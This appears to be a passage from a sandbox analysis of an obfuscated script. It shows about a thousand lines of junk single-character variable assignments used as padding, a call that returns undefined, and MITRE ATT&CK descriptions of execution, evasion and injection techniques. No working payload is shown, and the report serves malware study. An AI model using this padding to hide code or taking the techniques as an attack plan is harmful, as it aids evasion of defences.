423	axpcc = "I";
424	axpcc = "b";
425	axpcc = "k";
426	axpcc = "N";
427	axpcc = "r";
428	axpcc = "W";
429	axpcc = "W";
430	axpcc = "k";
431	axpcc = "a";
432	axpcc = "L";
433	axpcc = "G";
434	axpcc = "F";
435	axpcc = "p";
436	axpcc = "J";
437	axpcc = "W";
438	axpcc = "Z";
439	axpcc = "j";
440	axpcc = "w";
441	axpcc = "L";
442	axpcc = "S";
443	axpcc = "J";
444	axpcc = "O";
445	axpcc = "M";
446	axpcc = "b";
447	axpcc = "d";
448	axpcc = "j";
449	axpcc = "k";
450	axpcc = "x";
451	wmlxhbxu = "V";
452	wmlxhbxu = "@";
453	awqgg = "X";
454	awqgg = "G";
455	awqgg = "V";
456	awqgg = "V";
457	awqgg = "t";
458	awqgg = "S";
459	awqgg = "Z";
460	awqgg = "g";
461	bdmist = "R";
462	bdmist = "B";
463	bdmist = "K";
464	bdmist = "j";
465	bdmist = "S";
466	bdmist = "U";
467	bdmist = "U";
468	bdmist = "Y";
469	bdmist = "V";
470	bdmist = "c";
471	bdmist = "m";
472	bdmist = "D";
473	bdmist = "d";
474	bdmist = "H";
475	bdmist = "V";
476	bdmist = "S";
477	bdmist = "c";
478	bdmist = "G";
479	bdmist = "o";
480	bdmist = "v";
481	bdmist = "y";
482	bdmist = "k";
483	bdmist = "i";
484	bdmist = "F";
485	bdmist = "S";
486	bdmist = "K";
487	bdmist = "R";
488	bdmist = "M";
489	bdmist = "x";
490	bdmist = "F";
491	bdmist = "M";
492	bdmist = "O";
493	bdmist = "u";
494	bdmist = "e";
495	bdmist = "T";
496	bdmist = "Q";
497	bdmist = "h";
498	bdmist = "n";
499	bdmist = "h";
500	ehkmtvs = "f";
501	ehkmtvs = "w";
502	ehkmtvs = "c";
503	ehkmtvs = "r";
504	ehkmtvs = "B";
505	ehkmtvs = "s";
506	ehkmtvs = "C";
507	ehkmtvs = "t";
508	ehkmtvs = "A";
509	ehkmtvs = "A";
510	ehkmtvs = "E";
511	ehkmtvs = "k";
512	ehkmtvs = "o";
513	ehkmtvs = "k";
514	ehkmtvs = "P";
515	ehkmtvs = "x";
516	ehkmtvs = "r";
517	ehkmtvs = "L";
518	ehkmtvs = "N";
519	ehkmtvs = "l";
520	ehkmtvs = "b";
521	ehkmtvs = "r";
522	ehkmtvs = "V";
523	ehkmtvs = "k";
524	ehkmtvs = "I";
525	ehkmtvs = "y";
526	ehkmtvs = "a";
527	ehkmtvs = "L";
528	ehkmtvs = "Q";
529	ehkmtvs = "m";
530	ehkmtvs = "m";
531	ehkmtvs = "g";
532	ehkmtvs = "J";
533	ehkmtvs = "K";
534	ehkmtvs = "a";
535	ehkmtvs = "j";
536	ehkmtvs = "E";
537	ehkmtvs = "p";
538	ehkmtvs = "u";
539	ehkmtvs = "C";
540	ehkmtvs = "J";
541	ehkmtvs = "4";
542	zgofhsok = "P";
543	zgofhsok = "s";
544	zgofhsok = "X";
545	zgofhsok = "R";
546	zgofhsok = "0";
547	mhlua = "a";
548	mhlua = "G";
549	mhlua = "_";
550	iudjgcsqi = "N";
551	iudjgcsqi = "Y";
552	iudjgcsqi = "q";
553	iudjgcsqi = "F";
554	iudjgcsqi = "s";
555	iudjgcsqi = "X";
556	iudjgcsqi = "V";
557	iudjgcsqi = "D";
558	iudjgcsqi = "H";
559	iudjgcsqi = "k";
560	iudjgcsqi = "U";
561	iudjgcsqi = "M";
562	iudjgcsqi = "i";
563	iudjgcsqi = "K";
564	iudjgcsqi = "J";
565	iudjgcsqi = "M";
566	iudjgcsqi = "k";
567	iudjgcsqi = "j";
568	iudjgcsqi = "A";
569	iudjgcsqi = "s";
570	iudjgcsqi = "d";
571	iudjgcsqi = "o";
572	iudjgcsqi = "d";
573	iudjgcsqi = "p";
574	iudjgcsqi = "f";
575	iudjgcsqi = "P";
576	iudjgcsqi = "Q";
577	iudjgcsqi = "m";
578	iudjgcsqi = "r";
579	iudjgcsqi = "R";
580	iudjgcsqi = "O";
581	iudjgcsqi = "C";
582	iudjgcsqi = "B";
583	iudjgcsqi = "r";
584	iudjgcsqi = "h";
585	iudjgcsqi = "I";
586	iudjgcsqi = "e";
587	iudjgcsqi = "Y";
588	iudjgcsqi = "b";
589	iudjgcsqi = "V";
590	iudjgcsqi = "n";
591	iudjgcsqi = "i";
592	iudjgcsqi = "\"";
593	treaeidyx = "D";
594	treaeidyx = "g";
595	treaeidyx = "a";
596	treaeidyx = "o";
597	treaeidyx = "I";
598	treaeidyx = "E";
599	treaeidyx = "z";
600	treaeidyx = "E";
601	treaeidyx = "O";
602	treaeidyx = "T";
603	treaeidyx = "e";
604	treaeidyx = "t";
605	treaeidyx = "H";
606	treaeidyx = "x";
607	treaeidyx = "m";
608	treaeidyx = "y";
609	treaeidyx = "L";
610	treaeidyx = "q";
611	treaeidyx = "U";
612	treaeidyx = "i";
613	treaeidyx = "l";
614	treaeidyx = "Y";
615	treaeidyx = "i";
616	treaeidyx = "Y";
617	treaeidyx = "t";
618	treaeidyx = "G";
619	treaeidyx = "n";
620	treaeidyx = "n";
621	treaeidyx = "s";
622	treaeidyx = "X";
623	treaeidyx = "t";
624	treaeidyx = "b";
625	treaeidyx = "G";
626	treaeidyx = "C";
627	treaeidyx = "s";
628	treaeidyx = "L";
629	treaeidyx = "q";
630	treaeidyx = "c";
631	treaeidyx = "E";
632	treaeidyx = "f";
633	treaeidyx = "t";
634	treaeidyx = "T";
635	treaeidyx = "8";
636	astswrq = "y";
637	astswrq = "X";
638	astswrq = "o";
639	astswrq = "V";
640	astswrq = "g";
641	astswrq = "i";
642	astswrq = "t";
643	astswrq = "V";
644	astswrq = "i";
645	astswrq = "Q";
646	astswrq = "H";
647	astswrq = "v";
648	astswrq = "k";
649	astswrq = "O";
650	astswrq = "u";
651	astswrq = "Q";
652	astswrq = "O";
653	astswrq = "N";
654	astswrq = "i";
655	astswrq = "Q";
656	astswrq = "z";
657	astswrq = "W";
658	astswrq = "z";
659	astswrq = "E";
660	astswrq = "Q";
661	astswrq = "B";
662	astswrq = "a";
663	astswrq = "y";
664	astswrq = "D";
665	astswrq = "J";
666	astswrq = "T";
667	astswrq = "q";
668	qutparvrb = "w";
669	qutparvrb = "c";
670	qutparvrb = "Z";
671	qutparvrb = "X";
672	qutparvrb = "Y";
673	qutparvrb = "t";
674	qutparvrb = "B";
675	qutparvrb = "a";
676	qutparvrb = "c";
677	qutparvrb = "W";
678	qutparvrb = "b";
679	qutparvrb = "K";
680	qutparvrb = "N";
681	qutparvrb = "T";
682	qutparvrb = "N";
683	pkmwmrry = "V";
684	pkmwmrry = "U";
685	pkmwmrry = "Z";
686	pkmwmrry = "Z";
687	pkmwmrry = "j";
688	pkmwmrry = "Z";
689	pkmwmrry = "u";
690	pkmwmrry = "K";
691	pkmwmrry = "m";
692	pkmwmrry = "k";
693	pkmwmrry = "W";
694	pkmwmrry = "B";
695	pkmwmrry = "l";
696	pkmwmrry = "e";
697	pkmwmrry = "a";
698	pkmwmrry = "b";
699	pkmwmrry = "w";
700	pkmwmrry = "j";
701	pkmwmrry = "c";
702	pkmwmrry = "r";
703	pkmwmrry = "e";
704	pkmwmrry = "N";
705	pkmwmrry = "O";
706	pkmwmrry = "v";
707	pkmwmrry = "j";
708	pkmwmrry = "E";
709	pkmwmrry = "d";
710	pkmwmrry = "Z";
711	pkmwmrry = "r";
712	pkmwmrry = "d";
713	pkmwmrry = "f";
714	pkmwmrry = "V";
715	pkmwmrry = "L";
716	pkmwmrry = "d";
717	pkmwmrry = "I";
718	pkmwmrry = "H";
719	pkmwmrry = "p";
720	pkmwmrry = "C";
721	pkmwmrry = "P";
722	pkmwmrry = "I";
723	pkmwmrry = "N";
724	pkmwmrry = "U";
725	pkmwmrry = "H";
726	rrumvin = "e";
727	rrumvin = "o";
728	rrumvin = "q";
729	rrumvin = "Y";
730	rrumvin = "P";
731	rrumvin = "S";
732	rrumvin = "t";
733	rrumvin = "f";
734	rrumvin = "h";
735	rrumvin = "J";
736	rrumvin = "j";
737	rrumvin = "9";
738	efitluw = "w";
739	efitluw = "i";
740	efitluw = "C";
741	efitluw = "Y";
742	efitluw = "H";
743	efitluw = "W";
744	efitluw = "H";
745	efitluw = "n";
746	efitluw = "T";
747	efitluw = "B";
748	efitluw = "F";
749	efitluw = "F";
750	efitluw = "T";
751	efitluw = "e";
752	efitluw = "J";
753	efitluw = "R";
754	efitluw = "f";
755	efitluw = "F";
756	efitluw = "H";
757	efitluw = "E";
758	efitluw = "a";
759	efitluw = "O";
760	efitluw = "T";
761	efitluw = "j";
762	efitluw = "p";
763	efitluw = "t";
764	efitluw = "G";
765	efitluw = "n";
766	efitluw = "x";
767	efitluw = "e";
768	wxyon = "w";
769	wxyon = "D";
770	wxyon = "J";
771	wxyon = "i";
772	wxyon = "f";
773	wxyon = "g";
774	wxyon = "Z";
775	wxyon = "r";
776	wxyon = "n";
777	wxyon = "Q";
778	wxyon = "e";
779	wxyon = "q";
780	wxyon = "W";
781	wxyon = "v";
782	wxyon = "p";
783	wxyon = "y";
784	wxyon = "c";
785	wxyon = "e";
786	wxyon = " ";
787	lhxsiigy = "v";
788	lhxsiigy = "R";
789	lhxsiigy = "F";
790	lhxsiigy = "D";
791	lhxsiigy = "L";
792	lhxsiigy = "s";
793	lhxsiigy = "H";
794	lhxsiigy = "i";
795	lhxsiigy = "O";
796	lhxsiigy = "P";
797	lhxsiigy = "R";
798	lhxsiigy = "s";
799	lhxsiigy = "z";
800	lhxsiigy = "v";
801	lhxsiigy = "Y";
802	lhxsiigy = "a";
803	lhxsiigy = "F";
804	lhxsiigy = "K";
805	lhxsiigy = "g";
806	lhxsiigy = "o";
807	lhxsiigy = "M";
808	lhxsiigy = "j";
809	lhxsiigy = "r";
810	lhxsiigy = "q";
811	lhxsiigy = "F";
812	lhxsiigy = "T";
813	lhxsiigy = "W";
814	lhxsiigy = "U";
815	lhxsiigy = "w";
816	lhxsiigy = "W";
817	lhxsiigy = "s";
818	lhxsiigy = "H";
819	lhxsiigy = "r";
820	lhxsiigy = "Y";
821	lhxsiigy = "n";
822	cabqmuib = "I";
823	cabqmuib = "o";
824	cabqmuib = "k";
825	cabqmuib = "W";
826	cabqmuib = "J";
827	cabqmuib = "h";
828	cabqmuib = "a";
829	cabqmuib = "T";
830	cabqmuib = "D";
831	cabqmuib = "E";
832	cabqmuib = "k";
833	cabqmuib = "y";
834	cabqmuib = "T";
835	cabqmuib = "z";
836	cabqmuib = "y";
837	cabqmuib = "L";
838	biollm = "D";
839	biollm = "E";
840	biollm = "k";
841	biollm = "Y";
842	biollm = "K";
843	biollm = "d";
844	biollm = "a";
845	biollm = "x";
846	biollm = "J";
847	biollm = "g";
848	biollm = "Y";
849	biollm = "I";
850	biollm = "o";
851	biollm = "B";
852	biollm = "X";
853	biollm = "v";
854	biollm = "S";
855	biollm = "I";
856	biollm = "d";
857	biollm = "t";
858	biollm = "M";
859	biollm = "g";
860	biollm = "J";
861	biollm = "E";
862	biollm = "a";
863	biollm = "t";
864	biollm = "e";
865	biollm = "h";
866	biollm = "D";
867	biollm = "E";
868	biollm = "V";
869	biollm = "r";
870	biollm = "T";
871	biollm = "s";
872	biollm = "5";
873	vqblidb = "c";
874	vqblidb = "r";
875	vqblidb = "N";
876	vqblidb = "F";
877	vqblidb = "C";
878	vqblidb = "f";
879	vqblidb = "b";
880	vqblidb = "V";
881	vqblidb = "U";
882	vqblidb = "z";
883	vqblidb = "b";
884	vqblidb = "X";
885	vqblidb = "m";
886	vqblidb = "M";
887	vqblidb = "W";
888	vqblidb = "o";
889	vqblidb = "Y";
890	vqblidb = "f";
891	vqblidb = "O";
892	vqblidb = "O";
893	vqblidb = "o";
894	vqblidb = "G";
895	vqblidb = "f";
896	vqblidb = "Y";
897	vqblidb = "o";
898	vqblidb = "y";
899	vqblidb = "O";
900	vqblidb = "g";
901	vqblidb = "z";
902	vqblidb = "t";
903	vqblidb = "D";
904	vqblidb = "p";
905	vqblidb = "J";
906	vqblidb = "z";
907	vqblidb = "w";
908	vqblidb = "e";
909	vqblidb = "K";
910	vqblidb = "S";
911	vqblidb = "r";
912	vqblidb = "f";
913	vqblidb = "s";
914	vqblidb = "g";
915	vqblidb = "D";
916	vqblidb = "f";
917	vqblidb = "I";
918	fbqzsue = "b";
919	fbqzsue = "C";
920	fbqzsue = "o";
921	fbqzsue = "p";
922	fbqzsue = "w";
923	pgwisotxd = "T";
924	pgwisotxd = "l";
925	pgwisotxd = "n";
926	pgwisotxd = "q";
927	pgwisotxd = "T";
928	pgwisotxd = "W";
929	pgwisotxd = "q";
930	pgwisotxd = "i";
931	pgwisotxd = "O";
932	pgwisotxd = "R";
933	pgwisotxd = "B";
934	pgwisotxd = "k";
935	pgwisotxd = "t";
936	pgwisotxd = "M";
937	pgwisotxd = "k";
938	pgwisotxd = "N";
939	pgwisotxd = "f";
940	pgwisotxd = "D";
941	pgwisotxd = "r";
942	pgwisotxd = "l";
943	pgwisotxd = "Z";
944	pgwisotxd = "p";
945	pgwisotxd = "W";
946	pgwisotxd = "R";
947	pgwisotxd = "i";
948	pgwisotxd = "C";
949	pgwisotxd = "W";
950	pgwisotxd = "U";
951	pgwisotxd = "K";
952	pgwisotxd = "c";
953	pgwisotxd = "D";
954	pgwisotxd = "y";
955	pgwisotxd = "c";
956	pgwisotxd = "S";
957	pgwisotxd = "V";
958	pgwisotxd = "L";
959	pgwisotxd = "\\";
960	eyfeei = "t";
961	eyfeei = "i";
962	eyfeei = "J";
963	eyfeei = "p";
964	eyfeei = "T";
965	eyfeei = "x";
966	eyfeei = "T";
967	eyfeei = "N";
968	eyfeei = "z";
969	eyfeei = "M";
970	eyfeei = "t";
971	eyfeei = "q";
972	eyfeei = "m";
973	eyfeei = "s";
974	eyfeei = "C";
975	eyfeei = "B";
976	eyfeei = "d";
977	eyfeei = "f";
978	eyfeei = "T";
979	eyfeei = "v";
980	eyfeei = "h";
981	eyfeei = "R";
982	eyfeei = "E";
983	eyfeei = "G";
984	eyfeei = "s";
985	eyfeei = "E";
986	eyfeei = "P";
987	eyfeei = "K";
988	eyfeei = "V";
989	eyfeei = "u";
990	eyfeei = "u";
991	eyfeei = "q";
992	eyfeei = "N";
993	eyfeei = "A";
994	eyfeei = "d";
995	eyfeei = "T";
996	eyfeei = "j";
997	sqttn = "c";
998	sqttn = "o";
999	sqttn = "d";
1000	sqttn = "k";
1001	sqttn = "L";
1002	sqttn = "N";
1003	sqttn = "q";
1004	sqttn = "v";
1005	sqttn = "a";
1006	sqttn = "b";
1007	sqttn = "k";
1008	sqttn = "O";
1009	sqttn = "N";
1010	sqttn = "N";
1011	sqttn = "T";
1012	sqttn = "M";
1013	sqttn = "n";
1014	sqttn = "K";
1015	sqttn = "c";
1016	sqttn = "c";
1017	sqttn = "L";
1018	sqttn = "J";
1019	sqttn = "2";
1020	vtoqfjbdb = "Q";
1021	vtoqfjbdb = "V";
1022	vtoqfjbdb = "-";
1023	kwokah = "r";
1024	kwokah = "s";
1025	kwokah = "D";
1026	kwokah = "D";
1027	kwokah = "Q";
1028	kwokah = "j";
1029	kwokah = "I";
1030	kwokah = "I";
1031	kwokah = "e";
1032	kwokah = "x";
1033	kwokah = "R";
1034	kwokah = "k";
1035	kwokah = "W";
1036	kwokah = "G";
1037	kwokah = "P";
1038	kwokah = "g";
1039	kwokah = "e";
1040	kwokah = "V";
1041	kwokah = "J";
1042	kwokah = "N";
1043	kwokah = "s";
1044	kwokah = "A";
1045	kwokah = "z";
1046	kwokah = "X";
1047	kwokah = "E";
1048	kwokah = "a";
1049	kwokah = "c";
1050	kwokah = "w";
1051	kwokah = "M";
1052	kwokah = "j";
1053	kwokah = "r";
1054	kwokah = "J";
1055	kwokah = "m";
1056	itsorqpe = "g";
1057	itsorqpe = "d";
1058	itsorqpe = "U";
1059	itsorqpe = "Z";
1060	itsorqpe = "S";
1061	itsorqpe = "y";
1062	itsorqpe = "j";
1063	itsorqpe = "I";
1064	itsorqpe = "r";
1065	itsorqpe = "C";
1066	itsorqpe = "q";
1067	itsorqpe = "c";
1068	itsorqpe = "I";
1069	itsorqpe = "h";
1070	itsorqpe = "S";
1071	itsorqpe = "s";
1072	itsorqpe = "j";
1073	itsorqpe = "v";
1074	itsorqpe = "N";
1075	itsorqpe = "h";
1076	itsorqpe = "q";
1077	itsorqpe = "q";
1078	itsorqpe = "B";
1079	itsorqpe = "C";
1080	itsorqpe = "F";
1081	itsorqpe = "W";
1082	itsorqpe = "d";
1083	itsorqpe = "L";
1084	itsorqpe = "k";
1085	itsorqpe = "U";
1086	itsorqpe = "I";
1087	itsorqpe = "a";
1088	itsorqpe = "w";
1089	itsorqpe = "U";
1090	itsorqpe = "V";
1091	itsorqpe = "x";
1092	itsorqpe = "s";
1093	brubydvm = "u";
1094	brubydvm = "q";
1095	brubydvm = "o";
1096	brubydvm = "A";
1097	brubydvm = "p";
1098	brubydvm = "r";
1099	vupgxuvy = "u";
1100	vupgxuvy = "r";
1101	vupgxuvy = "N";
1102	vupgxuvy = "e";
1103	vupgxuvy = "W";
1104	vupgxuvy = "h";
1105	vupgxuvy = "L";
1106	vupgxuvy = "U";
1107	vupgxuvy = "q";
1108	vupgxuvy = "q";
1109	vupgxuvy = "I";
1110	vupgxuvy = "x";
1111	vupgxuvy = "K";
1112	vupgxuvy = "B";
1113	vupgxuvy = "S";
1114	vupgxuvy = "o";
1115	vupgxuvy = "U";
1116	vupgxuvy = "y";
1117	vupgxuvy = "p";
1118	vupgxuvy = "z";
1119	vupgxuvy = "K";
1120	vupgxuvy = "P";
1121	vupgxuvy = "q";
1122	vupgxuvy = "d";
1123	vupgxuvy = "X";
1124	vupgxuvy = "h";
1125	vupgxuvy = "z";
1126	vupgxuvy = "v";
1127	vupgxuvy = "z";
1128	vupgxuvy = "r";
1129	vupgxuvy = "q";
1130	vupgxuvy = "V";
1131	vupgxuvy = "B";
1132	vupgxuvy = "r";
1133	vupgxuvy = "n";
1134	vupgxuvy = "N";
1135	vupgxuvy = "U";
1136	vupgxuvy = "j";
1137	vupgxuvy = "n";
1138	vupgxuvy = "c";
1139	vupgxuvy = "i";
1140	ivoalpj = "v";
1141	ivoalpj = "c";
1142	ivoalpj = "i";
1143	ivoalpj = "t";
1144	ivoalpj = "d";
1145	ivoalpj = "E";
1146	ivoalpj = "c";
1147	ivoalpj = "j";
1148	ivoalpj = "h";
1149	ivoalpj = "J";
1150	ivoalpj = "f";
1151	ivoalpj = "m";
1152	ivoalpj = "U";
1153	ivoalpj = "I";
1154	ivoalpj = "q";
1155	ivoalpj = "e";
1156	ivoalpj = "p";
1157	ivoalpj = "Z";
1158	ivoalpj = "R";
1159	ivoalpj = "m";
1160	ivoalpj = "O";
1161	ivoalpj = "S";
1162	ivoalpj = "c";
1163	ivoalpj = "O";
1164	ivoalpj = "Q";
1165	ivoalpj = "c";
1166	ivoalpj = "B";
1167	ivoalpj = "Z";
1168	ivoalpj = "p";
1169	ivoalpj = "J";
1170	ivoalpj = "D";
1171	ivoalpj = "d";
1172	ivoalpj = "R";
1173	ivoalpj = "G";
1174	ivoalpj = "E";
1175	ivoalpj = "n";
1176	ivoalpj = "J";
1177	ivoalpj = "Y";
1178	ivoalpj = "U";
1179	hqodhzqoa = "I";
1180	hqodhzqoa = "X";
1181	hqodhzqoa = "h";
1182	hqodhzqoa = "x";
1183	hqodhzqoa = "n";
1184	hqodhzqoa = "o";
1185	hqodhzqoa = "l";
1186	hqodhzqoa = "i";
1187	hqodhzqoa = "K";
1188	hqodhzqoa = "N";
1189	hqodhzqoa = "n";
1190	hqodhzqoa = "E";
1191	hqodhzqoa = "H";
1192	hqodhzqoa = "x";
1193	hqodhzqoa = "U";
1194	hqodhzqoa = "A";
1195	hqodhzqoa = "W";
1196	dulpmydr = "H";
1197	dulpmydr = "A";
1198	dulpmydr = "w";
1199	dulpmydr = "R";
1200	xhivobiv = "L";
1201	xhivobiv = "O";
1202	xsznsa = "o";
1203	xsznsa = "X";
1204	xsznsa = "M";
1205	xsznsa = "f";
1206	xsznsa = "o";
1207	xsznsa = "w";
1208	xsznsa = "e";
1209	xsznsa = "D";
1210	xsznsa = "y";
1211	xsznsa = "X";
1212	xsznsa = "N";
1213	xsznsa = "z";
1214	xsznsa = "u";
1215	fscutst = "i";
1216	fscutst = "G";
1217	fscutst = "K";
1218	fscutst = "w";
1219	fscutst = "A";
1220	fscutst = "o";
1221	fscutst = "j";
1222	fscutst = "x";
1223	fscutst = "z";
1224	fscutst = "R";
1225	fscutst = "b";
1226	fscutst = "V";
1227	fscutst = "n";
1228	fscutst = "i";
1229	fscutst = "r";
1230	fscutst = "F";
1231	fscutst = "q";
1232	fscutst = "f";
1233	fscutst = "d";
1234	fscutst = "f";
1235	jookeypgs = "g";
1236	jookeypgs = "d";
1237	jookeypgs = "X";
1238	jookeypgs = "l";
1239	jookeypgs = "R";
1240	jookeypgs = "A";
1241	jookeypgs = "m";
1242	jookeypgs = "p";
1243	mimug = "q";
1244	mimug = "V";
1245	mimug = "A";
1246	mimug = "T";
1247	mimug = "c";
1248	mimug = "K";
1249	mimug = "S";
1250	mimug = "y";
1251	mimug = "j";
1252	mimug = "P";
1253	mimug = "e";
1254	mimug = "d";
1255	mimug = "v";
1256	mimug = "k";
1257	mimug = "b";
1258	mimug = "m";
1259	mimug = "t";
1260	dztjuiz = "F";
1261	dztjuiz = "j";
1262	dztjuiz = "B";
1263	dztjuiz = "f";
1264	dztjuiz = "q";
1265	dztjuiz = "P";
1266	dztjuiz = "o";
1267	dztjuiz = "b";
1268	dztjuiz = "C";
1269	dztjuiz = "E";
1270	dztjuiz = "q";
1271	dztjuiz = "K";
1272	dztjuiz = "A";
1273	dztjuiz = "o";
1274	dztjuiz = "W";
1275	dztjuiz = "a";
1276	dztjuiz = "K";
1277	dztjuiz = "T";
1278	dztjuiz = "W";
1279	dztjuiz = "t";
1280	dztjuiz = "U";
1281	dztjuiz = "I";
1282	dztjuiz = "Z";
1283	dztjuiz = "N";
1284	dztjuiz = "z";
1285	dztjuiz = "x";
1286	dztjuiz = "r";
1287	dztjuiz = "j";
1288	dztjuiz = "M";
1289	dztjuiz = "Y";
1290	dztjuiz = "k";
1291	dztjuiz = "f";
1292	dztjuiz = "U";
1293	dztjuiz = "D";
1294	dztjuiz = "b";
1295	dztjuiz = "X";
1296	dztjuiz = "Z";
1297	dztjuiz = "Q";
1298	dztjuiz = "O";
1299	dztjuiz = "N";
1300	dztjuiz = "Z";
1301	dztjuiz = "Y";
1302	dztjuiz = "T";
1303	dztjuiz = "C";
1304	odfpw = "y";
1305	odfpw = "n";
1306	odfpw = "U";
1307	odfpw = "W";
1308	odfpw = "z";
1309	odfpw = "t";
1310	odfpw = "X";
1311	odfpw = "q";
1312	odfpw = "F";
1313	odfpw = "h";
1314	odfpw = "T";
1315	odfpw = "I";
1316	odfpw = "j";
1317	odfpw = "c";
1318	odfpw = "N";
1319	odfpw = "p";
1320	odfpw = "M";
1321	odfpw = "j";
1322	odfpw = "j";
1323	odfpw = "M";
1324	odfpw = "G";
1325	odfpw = "I";
1326	odfpw = "i";
1327	odfpw = "a";
1328	odfpw = "d";
1329	odfpw = "S";
1330	odfpw = "i";
1331	odfpw = "s";
1332	odfpw = "F";
1333	rbncj = "D";
1334	rbncj = "l";
1335	rbncj = "b";
1336	rbncj = "L";
1337	rbncj = "V";
1338	rbncj = "e";
1339	rbncj = "o";
1340	rbncj = "o";
1341	rbncj = "V";
1342	rbncj = "v";
1343	rbncj = "L";
1344	rbncj = "a";
1345	rbncj = "a";
1346	rbncj = "g";
1347	rbncj = "U";
1348	rbncj = "t";
1349	rbncj = "J";
1350	rbncj = "J";
1351	rbncj = "Q";
1352	rbncj = "h";
1353	rbncj = "R";
1354	rbncj = "L";
1355	rbncj = "h";
1356	rbncj = "d";
1357	rbncj = "w";
1358	rbncj = "f";
1359	rbncj = "Z";
1360	rbncj = "m";
1361	rbncj = "a";
1362	rbncj = "B";
1363	rbncj = "P";
1364	rbncj = "b";
1365	rbncj = "s";
1366	rbncj = "v";
1367	rbncj = "d";
1368	rbncj = "b";
1369	rbncj = "t";
1370	rbncj = "f";
1371	rbncj = "I";
1372	rbncj = "v";
1373	uyadab = "C";
1374	uyadab = "q";
1375	uyadab = "u";
1376	uyadab = "k";
1377	uyadab = ".";
1378	qfviyx = "j";
1379	qfviyx = "Q";
1380	qfviyx = "q";
1381	qfviyx = "o";
1382	qfviyx = "e";
1383	qfviyx = "J";
1384	qfviyx = "f";
1385	qfviyx = "i";
1386	qfviyx = "g";
1387	qfviyx = "D";
1388	qfviyx = "G";
1389	qfviyx = "y";
1390	qfviyx = "I";
1391	qfviyx = "Q";
1392	qfviyx = "y";
1393	qfviyx = "H";
1394	qfviyx = "B";
1395	qfviyx = "z";
1396	qfviyx = "K";
1397	qfviyx = "N";
1398	qfviyx = "i";
1399	qfviyx = "E";
1400	qfviyx = "S";
1401	qfviyx = "M";
1402	qfviyx = "Y";
1403	qfviyx = "Y";
1404	qfviyx = "t";
1405	qfviyx = "W";
1406	qfviyx = "V";
1407	qfviyx = "j";
1408	qfviyx = "B";
1409	qfviyx = "E";
1410	qfviyx = "f";
1411	qfviyx = "M";
1412	qfviyx = "t";
1413	qfviyx = "x";
1414	qfviyx = "Y";
1415	qfviyx = "u";
1416	qfviyx = "k";
1417	qfviyx = "i";
1418	qfviyx = "T";
1419	qfviyx = "m";
1420	qfviyx = "a";
1421	qfviyx = "v";
1422	qfviyx = "b";
1423	vuxhgn = "k";
1424	vuxhgn = "u";
1425	vuxhgn = "j";
1426	vuxhgn = "l";
1427	vuxhgn = "W";
1428	vuxhgn = "e";
1429	vuxhgn = "B";
1430	vuxhgn = "r";
1431	vuxhgn = "p";
1432	vuxhgn = "l";
1433	vuxhgn = "B";
1434	vuxhgn = "t";
1435	vuxhgn = "m";
1436	vuxhgn = "B";
1437	vuxhgn = "u";
1438	vuxhgn = "c";
1439	vuxhgn = "o";
1440	vuxhgn = "F";
1441	vuxhgn = "Z";
1442	vuxhgn = "b";
1443	vuxhgn = "b";
1444	vuxhgn = "Y";
1445	lietrd ( );	lietrd() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
